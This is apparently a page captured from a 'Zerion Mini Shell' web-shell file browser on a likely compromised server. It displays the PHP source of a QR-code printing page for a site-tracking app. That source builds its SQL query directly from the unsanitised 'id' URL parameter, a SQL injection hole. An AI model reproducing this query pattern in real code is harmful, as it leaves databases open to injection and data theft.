ok

Mini Shell

Direktori : /home2/selectio/public_html/obnovit-tracking/
Upload File :
Current File : /home2/selectio/public_html/obnovit-tracking/site-qr-code.php

<?php  include "header.php";
$id=$_GET['id'];

$statement = $pdo->prepare("SELECT * FROM tbl_site where id ='$id'");
    $statement->execute();
    $emp_data = $statement->fetchAll(PDO::FETCH_ASSOC);
    $totalData = $statement->rowCount();
?>
 
<div class="content-wrapper" style="background:white;">
    <br><br><br>
     <center><input type='button' id='btn' value='Print The QR Code' onclick='printDiv();' class="btn btn-success"></center>
  <div id='DivIdToPrint'>     
   
          
                
              <div class="box-body">
                            <?php foreach($emp_data as $data){ ?>
                           
                               
                               
                               
                                   <center>  <h1><?=$data['site_name']?></h1>
                                    
          <img src="https://chart.googleapis.com/chart?chs=600x300&cht=qr&chl=<?=$data['site_code']?>&choe=UTF-8" title="Obnovit-Tracking" style="height:100%;width:100%;"/>
                                  </center>
                                  <center><h2>INSTRUCTION</h2></center>
                                  <b style="font-size:20px;">STEB 1: Scan The Site QR Code</b><br><br>
                                  <b style="font-size:20px;">STEB 2: Scan The Product QR Code</b><br><br>
                                  <b style="font-size:20px;">STEB 3: Update Inwork Or Out Work</b>
                                  
                            <?php
                            }
                            ?>      
        </div>
    </div>
   
</div>
 
                      
<script>
    function printDiv() 
{

  var divToPrint=document.getElementById('DivIdToPrint');

  var newWin=window.open('','Print-Window');

  newWin.document.open();

  newWin.document.write('<html><body onload="window.print()">'+divToPrint.innerHTML+'</body></html>');

  newWin.document.close();

  setTimeout(function(){newWin.close();},10);

}
</script>
<?php include "footer.php";?>

Zerion Mini Shell 1.0